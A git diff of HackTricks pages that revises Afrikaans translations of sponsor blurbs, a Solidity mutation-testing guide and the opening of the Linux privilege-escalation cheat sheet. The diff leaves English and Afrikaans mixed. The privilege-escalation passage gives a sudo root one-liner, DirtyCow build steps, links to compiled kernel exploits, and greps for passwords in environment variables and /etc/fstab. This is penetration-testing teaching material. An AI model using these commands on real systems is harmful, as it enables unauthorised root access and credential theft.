diff --git a/src/README.md b/src/README.md
index a7d24bd2b..a550b7fcf 100644
--- a/src/README.md
+++ b/src/README.md
@@ -31,19 +31,19 @@ export LANG="master" # Leave master for english
# Run the docker container indicating the path to the hacktricks folder
docker run -d --rm --platform linux/amd64 -p 3337:3000 --name hacktricks -v $(pwd)/hacktricks:/app ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image bash -c "mkdir -p ~/.ssh && ssh-keyscan -H github.com >> ~/.ssh/known_hosts && cd /app && git config --global --add safe.directory /app && git checkout $LANG && git pull && MDBOOK_PREPROCESSOR__HACKTRICKS__ENV=dev mdbook serve --hostname 0.0.0.0"
```
-Jou plaaslike kopie van HackTricks sal binne <5 minute **beskikbaar by [http://localhost:3337](http://localhost:3337)** wees (dit moet die boek bou, wees geduldig).
+Your local copy of HackTricks will be **available at [http://localhost:3337](http://localhost:3337)** after <5 minutes (it needs to build the book, be patient).
-## Korporatiewe Borge
+## Korporatiewe Borgskappe
### [STM Cyber](https://www.stmcyber.com)
.png)
-[**STM Cyber**](https://www.stmcyber.com) is 'n uitstekende kuberveiligheid maatskappy met die slagspreuk **HACK THE UNHACKABLE**. Hulle doen eie navorsing en ontwikkel hul eie hacking tools om **verskeie waardevolle kuberveiligheidsdienste** aan te bied soos pentesting, Red teams en opleiding.
+[**STM Cyber**](https://www.stmcyber.com) is a great cybersecurity company whose slogan is **HACK THE UNHACKABLE**. They perform their own research and develop their own hacking tools to **offer several valuable cybersecurity services** like pentesting, Red teams and training.
You can check their **blog** in [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
-**STM Cyber** ondersteun ook open source kuberveiligheidsprojekte soos HackTricks :)
+**STM Cyber** also support cybersecurity open source projects like HackTricks :)
---
@@ -51,7 +51,7 @@ You can check their **blog** in [**https://blog.stmcyber.com**](https://blog.stm
.png)
-[**RootedCON**](https://www.rootedcon.com) is die mees relevante kuberveiligheidsgebeurtenis in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n bruisende ontmoetingspunt vir tegnologie- en kuberveiligheidsprofessionals in alle dissiplines.
+[**RootedCON**](https://www.rootedcon.com) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
{{#ref}}
https://www.rootedcon.com/
@@ -63,9 +63,9 @@ https://www.rootedcon.com/
.png)
-**Intigriti** is die **Europe's #1** ethical hacking en **bug bounty platform.**
+**Intigriti** is the **Europe's #1** ethical hacking and **bug bounty platform.**
-**Bug bounty tip**: **sign up** for **Intigriti**, 'n premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
+**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
{{#ref}}
https://go.intigriti.com/hacktricks
@@ -78,7 +78,7 @@ https://go.intigriti.com/hacktricks
.png)
\
-Gebruik [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) om maklik workflows te bou en te **automate** wat aangedryf word deur die wêreld se **mees gevorderde** community tools.
+Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.
Get Access Today:
@@ -96,7 +96,7 @@ Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to
- **Hacking Insights:** Engage with content that delves into the thrill and challenges of hacking
- **Real-Time Hack News:** Keep up-to-date with fast-paced hacking world through real-time news and insights
-- **Latest Announcements:** Bly ingelig oor die nuutste bug bounties wat van stapel gestuur word en belangrike platform-opdaterings
+- **Latest Announcements:** Stay informed with the newest bug bounties launching and crucial platform updates
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
@@ -106,9 +106,9 @@ Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to
-**Kry 'n hacker se perspektief op jou web apps, netwerk, en cloud**
+**Get a hacker's perspective on your web apps, network, and cloud**
-**Vind en rapporteer kritieke, exploitable kwetsbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ custom tools om die aanvaloppervlak te kaart, sekuriteitskwessies te vind wat jou toelaat om privileges te eskaleer, en gebruik geautomatiseerde exploits om noodsaaklike bewyse in te samel, wat jou harde werk in oortuigende verslae omsit.
+**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
{{#ref}}
https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons
@@ -120,14 +120,14 @@ https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktrick
.png)
-**SerpApi** bied vinnige en maklike real-time APIs om **toegang tot search engine results** te kry. Hulle scrape search engines, hanteer proxies, los captchas op, en parse alle ryk gestruktureerde data vir jou.
+**SerpApi** offers fast and easy real-time APIs to **access search engine results**. They scrape search engines, handle proxies, solve captchas, and parse all rich structured data for you.
-'n Intekening op een van SerpApi se planne sluit toegang in tot meer as 50 verskillende APIs vir die scraping van verskillende search engines, insluitend Google, Bing, Baidu, Yahoo, Yandex, en meer.\
-Anders as ander verskaffers, **SerpApi scrape nie net organic results nie**. SerpApi response sluit konsekwent alle ads, inline images en videos, knowledge graphs, en ander elemente en kenmerke aanwesig in die search results.
+A subscription to one of SerpApi’s plans includes access to over 50 different APIs for scraping different search engines, including Google, Bing, Baidu, Yahoo, Yandex, and more.\
+Unlike other providers, **SerpApi doesn’t just scrape organic results**. SerpApi responses consistently include all ads, inline images and videos, knowledge graphs, and other elements and features present in the search results.
-Huidige SerpApi customers sluit in **Apple, Shopify, and GrubHub**.\
-Vir meer inligting kyk na hul [**blog**](https://serpapi.com/blog/)**,** of probeer 'n voorbeeld in hulle [**playground**](https://serpapi.com/playground)**.**\
-Jy kan **'n gratis rekening skep** [**here**](https://serpapi.com/users/sign_up)**.**
+Current SerpApi customers include **Apple, Shopify, and GrubHub**.\
+For more information check out their [**blog**](https://serpapi.com/blog/)**,** or try an example in their [**playground**](https://serpapi.com/playground)**.**\
+You can **create a free account** [**here**](https://serpapi.com/users/sign_up)**.**
---
@@ -135,7 +135,7 @@ Jy kan **'n gratis rekening skep** [**here**](https://serpapi.com/users/sign_up)
.png)
-Leer die tegnologieë en vaardighede nodig om vulnerability research, penetration testing, en reverse engineering uit te voer om mobiele toepassings en toestelle te beskerm. **Beheers iOS en Android security** deur ons on-demand kursusse en **kry gesertifiseer**:
+Learn the technologies and skills required to perform vulnerability research, penetration testing, and reverse engineering to protect mobile applications and devices. **Master iOS and Android security** through our on-demand courses and **get certified**:
{{#ref}}
https://academy.8ksec.io/
@@ -147,13 +147,13 @@ https://academy.8ksec.io/
.svg)
-[**WebSec**](https://websec.net) is 'n professionele kuberveiligheidsmaatskappy gebaseer in **Amsterdam** wat help om **maatskappye regoor die wêreld** te beskerm teen die nuutste kuberveiligheidsbedreigings deur **offensive-security services** met 'n **moderne** benadering te lewer.
+[**WebSec**](https://websec.net) is a professional cybersecurity company based in **Amsterdam** which helps **protecting** businesses **all over the world** against the latest cybersecurity threats by providing **offensive-security services** with a **modern** approach.
-WebSec is 'n internasionale security company met kantore in Amsterdam en Wyoming. Hulle bied **all-in-one security services** wat beteken hulle doen alles; Pentesting, **Security** Audits, Awareness Trainings, Phishing Campagnes, Code Review, Exploit Development, Security Experts Outsourcing en nog veel meer.
+WebSec is an intenational security company with offices in Amsterdam and Wyoming. They offer **all-in-one security services** which means they do it all; Pentesting, **Security** Audits, Awareness Trainings, Phishing Campagnes, Code Review, Exploit Development, Security Experts Outsourcing and much more.
-Nog 'n koel ding oor WebSec is dat, anders as die industrie-gemiddelde, WebSec **baie selfversekerd is in hul vaardighede**, tot so 'n mate dat hulle **die beste kwaliteit resultate waarborg**, soos op hulle webtuiste staan: "**If we can't hack it, You don't pay it!**". Vir meer inligting, kyk na hul [**website**](https://websec.net/en/) en [**blog**](https://websec.net/blog/)!
+Another cool thing about WebSec is that unlike the industry average WebSec is **very confident in their skills**, to such an extent that they **guarantee the best quality results**, it states on their website "**If we can't hack it, You don't pay it!**". For more info take a look at their [**website**](https://websec.net/en/) and [**blog**](https://websec.net/blog/)!
-Benewens bogenoemde is WebSec ook 'n **toegewyde ondersteuner van HackTricks.**
+In addition to the above WebSec is also a **committed supporter of HackTricks.**
{{#ref}}
https://www.youtube.com/watch?v=Zq2JycGDCPM
@@ -165,8 +165,8 @@ https://www.youtube.com/watch?v=Zq2JycGDCPM
-[**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons) is 'n data breach (leak) search engine. \
-Ons voorsien random string search (like google) oor alle tipes data leaks groot en klein --nie net die groot een nie-- oor data van veelvuldige bronne. \
+[**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons) is a data breach (leak) search engine. \
+We provide random string search (like google) over all types of data leaks big and small --not only the big ones-- over data from multiple sources. \
People search, AI search, organization search, API (OpenAPI) access, theHarvester integration, all features a pentester needs.\
**HackTricks continues to be a great learning platform for us all and we're proud to be sponsoring it!**
@@ -182,12 +182,15 @@ https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons
**Built for the field. Built around you.**\
-[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks) ontwikkel en lewer effektiewe kuberveiligheid opleiding wat gebou en gelei word deur industry experts. Hul programme gaan verder as teorie om spanne toe te rus met diep begrip en toepaslike vaardighede, deur custom omgewings te gebruik wat werklike wêreld dreigemente weerspieël. Vir persoonlike opleidingsnavrae, kontak ons [**here**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks).
+[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks) develops and delivers effective cybersecurity training built and led by
+industry experts. Their programs go beyond theory to equip teams with deep
+understanding and actionable skills, using custom environments that reflect real-world
+threats. For custom training inquiries, reach out to us [**here**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks).
-**Wat hul opleiding onderskei:**
-* Custom-built inhoud en labs
-* Ondersteun deur top-tier tools en platforms
-* Ontwerp en aangebied deur praktisyns
+**What sets their training apart:**
+* Custom-built content and labs
+* Backed by top-tier tools and platforms
+* Designed and taught by practitioners
{{#ref}}
https://cyberhelmets.com/courses/?ref=hacktricks
@@ -199,19 +202,19 @@ https://cyberhelmets.com/courses/?ref=hacktricks
-Last Tower Solutions lewer gespesialiseerde kuberveiligheidsdienste vir **Education** en **FinTech**
-instellings, met 'n fokus op **penetration testing, cloud security assessments**, en
-**compliance readiness** (SOC 2, PCI-DSS, NIST). Ons span sluit **OSCP and CISSP
-certified professionals** in, wat diep tegniese kundigheid en industrie-standaard insigte bring na
-elke betrokkenheid.
+Last Tower Solutions delivers specialized cybersecurity services for **Education** and **FinTech**
+institutions, with a focus on **penetration testing, cloud security assessments**, and
+**compliance readiness** (SOC 2, PCI-DSS, NIST). Our team includes **OSCP and CISSP
+certified professionals**, bringing deep technical expertise and industry-standard insight to
+every engagement.
-Ons gaan verder as geautomatiseerde skanderings met **handmatige, intelligence-driven testing** aangepas vir
-hoë-ryks omgewings. Van die beveiliging van studenterekords tot die beskerming van finansiële transaksies,
-ons help organisasies om te verdedig wat die meeste saak maak.
+We go beyond automated scans with **manual, intelligence-driven testing** tailored to
+high-stakes environments. From securing student records to protecting financial transactions,
+we help organizations defend what matters most.
_“A quality defense requires knowing the offense, we provide security through understanding.”_
-Bly ingelig en op datum met die nuutste in kuberveiligheid deur ons [**blog**](https://www.lasttowersolutions.com/blog) te besoek.
+Stay informed and up to date with the latest in cybersecurity by visiting our [**blog**](https://www.lasttowersolutions.com/blog).
{{#ref}}
https://www.lasttowersolutions.com/
@@ -221,11 +224,11 @@ https://www.lasttowersolutions.com/
### [K8Studio - The Smarter GUI to Manage Kubernetes.](https://k8studio.io/)
-
+
-K8Studio IDE bemagtig DevOps, DevSecOps, en developers om Kubernetes clusters doeltreffend te bestuur, te monitor, en te beveilig. Benut ons AI-driven insights, gevorderde security framework, en intuïtiewe CloudMaps GUI om jou clusters te visualiseer, hul toestand te verstaan, en met vertroue op te tree.
+K8Studio IDE empowers DevOps, DevSecOps, and developers to manage, monitor, and secure Kubernetes clusters efficiently. Leverage our AI-driven insights, advanced security framework, and intuitive CloudMaps GUI to visualize your clusters, understand their state, and act with confidence.
-Boonop is K8Studio **compatible with all major kubernetes distributions** (AWS, GCP, Azure, DO, Rancher, K3s, Openshift and more).
+Moreover, K8Studio is **compatible with all major kubernetes distributions** (AWS, GCP, Azure, DO, Rancher, K3s, Openshift and more).
{{#ref}}
https://k8studio.io/
@@ -236,13 +239,13 @@ https://k8studio.io/
## Lisensie & Vrywaring
-Kyk hulle in:
+Check them in:
{{#ref}}
welcome/hacktricks-values-and-faq.md
{{#endref}}
-## Github Stats
+## Github Statistieke
diff --git a/src/SUMMARY.md b/src/SUMMARY.md
index 6d276923d..561fe52fb 100644
--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@@ -950,4 +950,4 @@
- [Stealing Sensitive Information Disclosure from a Web](todo/stealing-sensitive-information-disclosure-from-a-web.md)
- [Post Exploitation](todo/post-exploitation.md)
- [Investment Terms](todo/investment-terms.md)
-- [Cookies Policy](todo/cookies-policy.md)
\ No newline at end of file
+- [Cookies Policy](todo/cookies-policy.md)
diff --git a/src/blockchain/smart-contract-security/mutation-testing-with-slither.md b/src/blockchain/smart-contract-security/mutation-testing-with-slither.md
index 8cd8f122d..93e2c54b1 100644
--- a/src/blockchain/smart-contract-security/mutation-testing-with-slither.md
+++ b/src/blockchain/smart-contract-security/mutation-testing-with-slither.md
@@ -2,11 +2,11 @@
{{#include ../../banners/hacktricks-training.md}}
-Mutasietoetsing "toets jou toetse" deur sistematies klein veranderinge (mutante) in jou Solidity-kode in te voer en jou toets-suite weer te laat loop. As 'n toets faal, word die mutant gedood. As die toetse steeds slaag, oorleef die mutant en openbaar dit 'n blinde kol in jou toets-suite wat lyn-/tak-dekking nie kan opspoor nie.
+Mutasietoetsing "toets jou toetse" deur sistematies klein veranderinge (mutante) in jou Solidity-kode in te bring en jou toetsuite weer uit te voer. As 'n toets misluk, word die mutant gedood. As die toetse steeds slaag, oorleef die mutant, wat 'n blinde kol in jou toetsuite openbaar wat lyn-/takdekking nie kan opspoor nie.
-Hoofgedagte: Dekking toon dat kode uitgevoer is; mutasietoetsing toon of gedrag werklik bevestig word.
+Hoofgedagte: Dekking toon dat kode uitgevoer is; mutasietoetsing wys of gedrag werklik deur toetse geasserseer word.
-## Hoekom dekking kan mislei
+## Waarom dekking kan mislei
Oorweeg hierdie eenvoudige drempelkontrole:
```solidity
@@ -18,24 +18,24 @@ return false;
}
}
```
-Unit tests wat slegs 'n waarde onder en 'n waarde bo die drempel nagaan, kan 100% lyn-/tak-dekking bereik terwyl hulle versuim om die gelykheidsgrens (==) te bevestig. 'n Refaktor na `deposit >= 2 ether` sou steeds sulke toetse deurgaan en stilweg die protokollogika breek.
+Eenheidstoetse wat slegs 'n waarde onder en 'n waarde bo die drempel kontroleer, kan 100% lyn-/takbedekking bereik terwyl hulle versuim om die gelykheidsgrens (==) te bevestig. 'n Refaktorering na `deposit >= 2 ether` sou steeds sulke toetse deurstaan en terselfdertyd die protokol-logika stilweg breek.
-Mutasietoetsing openbaar hierdie gaping deur die voorwaarde te muteer en te verifieer dat jou toetse misluk.
+Mutation testing openbaar hierdie gaping deur die voorwaarde te muteer en te verifieer dat jou toetse misluk.
-## Algemene Solidity mutasie-operateurs
+## Algemene Solidity mutation operators
-Slither se mutasie-enjin pas baie klein, semantiekveranderende wysigings toe, soos:
-- Operateurvervanging: `+` ↔ `-`, `*` ↔ `/`, etc.
-- Toekenningvervanging: `+=` → `=`, `-=` → `=`
-- Konstante vervanging: nie-nul → `0`, `true` ↔ `false`
-- Voorwaardelike negasie/vervanging binne `if`/loops
-- Comment out whole lines (CR: Comment Replacement)
+Slither se mutation engine pas baie klein, semantiek-veranderende wysigings toe, soos:
+- Operatorvervanging: `+` ↔ `-`, `*` ↔ `/`, etc.
+- Toewysingsvervanging: `+=` → `=`, `-=` → `=`
+- Konstantevervanging: non-zero → `0`, `true` ↔ `false`
+- Voorwaardelike negasie/vervanging binne `if`/lusse
+- Maak hele lyne kommentaar (CR: Comment Replacement)
- Vervang 'n lyn met `revert()`
-- Datatipruilings: e.g., `int128` → `int64`
+- Datatipe-ruilings: bv. `int128` → `int64`
-Doel: Vernietig 100% van die gegenereerde mutante, of regverdig oorblywende mutante met duidelike motivering.
+Doel: Vernietig 100% van die gegenereerde mutante, of regverdig oorlewendes met duidelike redenasie.
-## Uitvoering van mutasietoetsing met slither-mutate
+## Uitvoer van mutation testing met slither-mutate
Vereistes: Slither v0.10.2+.
@@ -44,68 +44,68 @@ Vereistes: Slither v0.10.2+.
slither-mutate --help
slither-mutate --list-mutators
```
-- Foundry voorbeeld (vang resultate en hou 'n volledige logboek):
+- Foundry-voorbeeld (vang resultate en hou 'n volledige logboek):
```bash
slither-mutate ./src/contracts --test-cmd="forge test" &> >(tee mutation.results)
```
- As jy nie Foundry gebruik nie, vervang `--test-cmd` met hoe jy toetse uitvoer (bv., `npx hardhat test`, `npm test`).
-Artefakte en verslae word standaard in `./mutation_campaign` gestoor. Ongevang (oorlewende) mutants word daarheen gekopieer vir inspeksie.
+Artefakte en verslae word standaard gestoor in `./mutation_campaign`. Ongevatte (oorlewende) mutants word daarheen gekopieer vir inspeksie.
-### Verstaan die uitset
+### Begrip van die uitvoer
Verslagreëls lyk soos:
```text
INFO:Slither-Mutate:Mutating contract ContractName
INFO:Slither-Mutate:[CR] Line 123: 'original line' ==> '//original line' --> UNCAUGHT
```
-- Die etiket in hakies is die mutator-alias (bv. `CR` = Comment Replacement).
-- `UNCAUGHT` beteken dat toetse deurgegaan het onder die gemuteerde gedrag → ontbrekende assertie.
+- Die etiket in hakies is die mutator-alias (bv., `CR` = Comment Replacement).
+- `UNCAUGHT` beteken dat toetse geslaag het onder die gemuteerde gedrag → ontbrekende assertie.
-## Verminder uitvoeringstyd: prioritiseer invloedryke mutants
+## Verminder uitvoeringstyd: prioritiseer impakvolle mutante
-Mutasie-veldtogte kan ure of dae neem. Wenke om koste te verminder:
-- Omvang: Begin slegs met kritiese contracts/direktore, brei daarna uit.
-- Prioritiseer mutators: As 'n hoë-prioriteits mutant op 'n reël oorleef (bv. hele reël uitgekommenteer), kan jy laer-prioriteits variante vir daardie reël oorslaan.
-- Paralleliseer toetse as jou runner dit toelaat; cache afhanklikhede en builds.
-- Fail-fast: hou op vroeg wanneer 'n verandering duidelik 'n assertie-gaping aandui.
+Mutasieveldtogte kan ure of dae neem. Wenke om koste te verminder:
+- Scope: Begin slegs met kritieke kontrakte/direktorieë, en brei dan uit.
+- Prioritiseer mutators: As 'n hoëprioriteits-mutant op 'n lyn oorleef (bv., die hele lyn gekommenteer), kan jy laerprioriteitsweergawes vir daardie lyn oorslaan.
+- Paralleliseer toetse as jou runner dit toelaat; kas afhanklikhede en builds.
+- Fail-fast: stop vroeg wanneer 'n verandering duidelik 'n assertiegaping aantoon.
-## Triëringswerkvloei vir oorlewende mutants
+## Triage-werkvloei vir oorblywende mutante
-1) Inspekteer die gemuteerde reël en gedrag.
-- Reproduceer plaaslik deur die gemuteerde reël toe te pas en 'n gefokusde toets te hardloop.
+1) Inspekteer die gemuteerde lyn en gedrag.
+- Reproduseer lokaal deur die gemuteerde lyn toe te pas en 'n gefokusde toets te laat loop.
-2) Versterk toetse om toestand te bevestig, nie net teruggegewe waardes nie.
-- Voeg gelykheid-grenskontroles by (bv. toets drempel `==`).
-- Bevestig post-voorwaardes: balanse, totale toevoer, magtigingseffekte en uitgesaai gebeurtenisse.
+2) Versterk toetse om staat te bevestig, nie net return-waardes nie.
+- Voeg gelykheids-grenskontroles by (bv., toets drempel `==`).
+- Bekragtig post-voorwaardes: saldo's, totale aanbod, magtigingseffekte, en uitgee gebeure.
-3) Vervang oormatige permissiewe mocks met realistiese gedrag.
-- Verseker dat mocks transfers, foutpade en gebeurtenisuitsendings afdwing wat on-chain plaasvind.
+3) Vervang te permissiewe mocks met realistiese gedrag.
+- Verseker dat mocks transfers, faalpaaie en event-emissies afdwing wat on-chain voorkom.
-4) Voeg invariantes by vir fuzz-toetse.
-- Bv.: behoud van waarde, nie-negatiewe balanse, magtiging-invariantes, monotoonse voorraad waar toepaslik.
+4) Voeg invarianties by vir fuzz tests.
+- Byvoorbeeld: bewaring van waarde, nie-negatiewe saldo's, magtiging-invarianties, monotoniese aanbod waar toepaslik.
-5) Herhardloop slither-mutate totdat oorlewendes gedood is of uitdruklik geregverdig word.
+5) Herhaal slither-mutate totdat oorblywende mutante gedood is of uitdruklik geregverdig.
-## Gevallestudie: blootlegging van ontbrekende toestand-asserties (Arkis protocol)
+## Gevalstudie: ontbloot ontbrekende staatasserties (Arkis protocol)
-'n Mutasie-veldtog tydens 'n oudit van die Arkis DeFi protocol het oorlewendes soos die onderstaande na vore gebring:
+'n mutasieveldtog tydens 'n oudit van die Arkis DeFi protocol het oorblywende mutante na vore gebring soos:
```text
INFO:Slither-Mutate:[CR] Line 33: 'cmdsToExecute.last().value = _cmd.value' ==> '//cmdsToExecute.last().value = _cmd.value' --> UNCAUGHT
```
-Om die toewysing uit te kommentarieer het die toetse nie gebreek nie, wat bewys dat post-state-asserties ontbreek. Ware oorsaak: die kode het ` _cmd.value` deur die gebruiker beheer vertrou in plaas daarvan om werklike token-oordragte te valideer. ’n aanvaller kon verwagte en werklike oordragte desinkroniseer om fondse leeg te maak. Resultaat: risiko van hoë erns vir die protokol se solvensie.
+Om die toekenning uit te kommentarieer het nie die tests gebreek nie, wat bewys dat post-state assertions ontbreek. Wortel oorsaak: die kode het 'n user-controlled `_cmd.value` vertrou in plaas daarvan om werklike token transfers te valideer. 'n aanvaller kon verwagte vs. werklike transfers desinchroniseer om fondse leeg te trek. Resultaat: hoë risiko wat die protokol se betaalvermoë bedreig.
-Riglyn: Behandel oorlewendes wat waarde-oordragte, rekeninghouding of toegangsbeheer beïnvloed as hoë-risiko totdat hulle vernietig is.
+Riglyne: Behandel survivors wat value transfers, accounting, of access control beïnvloed as hoë-risiko totdat hulle killed is.
## Praktiese kontrolelys
- Voer 'n geteikende veldtog uit:
- `slither-mutate ./src/contracts --test-cmd="forge test"`
-- Sorteer oorlewendes en skryf toetse/invariante wat sou misluk onder die gemuteerde gedrag.
-- Bevestig balans, totale aanbod, magtigings en gebeure.
-- Voeg grens-toetse by (`==`, oorvloei/ondervloei, nul-adres, nul-bedrag, leë arrays).
-- Vervang onrealistiese mocks; simuleer foutmodusse.
-- Herhaal totdat alle mutants vernietig is of met kommentaar en motivering geregverdig is.
+- Triage survivors en skryf tests/invariants wat sou misluk onder die gemuteerde gedrag.
+- Asserteer balances, supply, authorizations, en events.
+- Voeg boundary tests by (`==`, overflows/underflows, zero-address, zero-amount, empty arrays).
+- Vervang onrealistiese mocks; simuleer failure modes.
+- Itereer totdat alle mutants killed is, of totdat hulle met kommentaar en rationale geregverdig is.
## Verwysings
diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md
index 884afd5bf..7419a67b6 100644
--- a/src/linux-hardening/privilege-escalation/README.md
+++ b/src/linux-hardening/privilege-escalation/README.md
@@ -4,38 +4,38 @@
## Stelselinligting
-### OS inligting
+### OS-inligting
-Kom ons begin om inligting oor die OS wat aan die gang is te versamel
+Kom ons begin om inligting te versamel oor die OS wat tans loop.
```bash
(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
cat /etc/os-release 2>/dev/null # universal on modern systems
```
-### Pad
+### Path
-As jy **skryfregte op enige gids binne die `PATH`**-veranderlike het, kan jy dalk sekere biblioteke of binaries hijack:
+As jy **skryfregte op enige vouer binne die `PATH`-veranderlike het**, kan jy dalk sommige libraries of binaries kap:
```bash
echo $PATH
```
-### Omgewingsinligting
+### Env info
-Is daar interessante inligting, wagwoorde of API-sleutels in die omgewingsveranderlikes?
+Is daar interessante inligting, wagwoorde of API-sleutels in die omgewingsvariabels?
```bash
(env || set) 2>/dev/null
```
### Kernel exploits
-Kontroleer die kernel version en kyk of daar 'n exploit bestaan wat gebruik kan word om privileges te escalate.
+Kontroleer die kernel-weergawe en of daar enige exploit is wat gebruik kan word om privileges te eskaleer.
```bash
cat /proc/version
uname -a
searchsploit "Linux Kernel"
```
-Jy kan 'n goeie lys van kwesbare kernel-weergawes en 'n paar reeds **compiled exploits** hier vind: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) en [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\
-Ander plekke waar jy 'n paar **compiled exploits** kan vind: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack)
+Jy kan 'n goeie lys van kwesbare kernel-weergawes en sommige reeds **compiled exploits** hier vind: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) en [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\
+Ander webwerwe waar jy sommige **compiled exploits** kan vind: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack)
-Om al die kwesbare kernel-weergawes van daardie web te onttrek, kan jy die volgende doen:
+Om al die kwesbare kernel-weergawes vanaf daardie webwerf te onttrek kan jy doen:
```bash
curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '
```
@@ -43,9 +43,9 @@ Gereedskap wat kan help om na kernel exploits te soek, is:
[linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\
[linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\
-[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (voer op die slagoffer uit, slegs kontroleer exploits vir kernel 2.x)
+[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (voer IN die slagoffer uit, kontroleer slegs exploits vir kernel 2.x)
-Soek altyd **die kernel-weergawe in Google**, miskien is jou kernel-weergawe in 'n kernel exploit geskryf en dan sal jy seker wees dat hierdie exploit geldig is.
+Soek altyd **die kernel-weergawe op Google**, miskien is jou kernel-weergawe in 'n kernel exploit genoem en sal jy dan seker wees dat hierdie exploit geldig is.
### CVE-2016-5195 (DirtyCow)
@@ -57,9 +57,9 @@ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c
```
-### Sudo weergawe
+### Sudo-weergawe
-Gebaseer op die kwesbare sudo-weergawes wat voorkom in:
+Gebaseer op die kwesbare sudo weergawes wat in die volgende verskyn:
```bash
searchsploit sudo
```
@@ -73,20 +73,20 @@ Van @sickrov
```
sudo -u#-1 /bin/bash
```
-### Dmesg signature verification failed
+### Dmesg handtekeningverifikasie het misluk
Kyk na **smasher2 box of HTB** vir 'n **voorbeeld** van hoe hierdie vuln uitgebuit kan word
```bash
dmesg 2>/dev/null | grep "signature"
```
-### Meer system enumeration
+### Meer stelsel-enumerasie
```bash
date 2>/dev/null #Date
(df -h || lsblk) #System stats
lscpu #CPU info
lpstat -a 2>/dev/null #Printers info
```
-## Lys moontlike verdedigings
+## Som moontlike verdedigings op
### AppArmor
```bash
@@ -125,13 +125,14 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null
As jy binne 'n docker container is, kan jy probeer om daaruit te ontsnap:
+
{{#ref}}
docker-security/
{{#endref}}
## Skywe
-Kontroleer **wat gekoppel en nie-gekoppel is**, waar en waarom. As iets nie gekoppel is nie, kan jy probeer om dit te koppel en te kyk vir privaat inligting
+Kontroleer **wat gemonteer en ongemonteer is**, waar en waarom. As iets ongemonteer is, kan jy probeer om dit te monteer en na privaat inligting te kyk.
```bash
ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
@@ -140,60 +141,60 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc
```
## Nuttige sagteware
-Lys nuttige binaries
+Som nuttige binaries op
```bash
which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null
```
-Kyk ook of **enige compiler geïnstalleer is**. Dit is nuttig as jy 'n kernel exploit moet gebruik, aangesien dit aanbeveel word om dit op die masjien waarin jy dit gaan gebruik (of op 'n soortgelyke) te compile.
+Kontroleer ook of **any compiler is installed**. Dit is nuttig as jy 'n kernel exploit moet gebruik, aangesien dit aanbeveel word om dit op die masjien waar jy dit gaan gebruik (of op een soortgelyke) te compile.
```bash
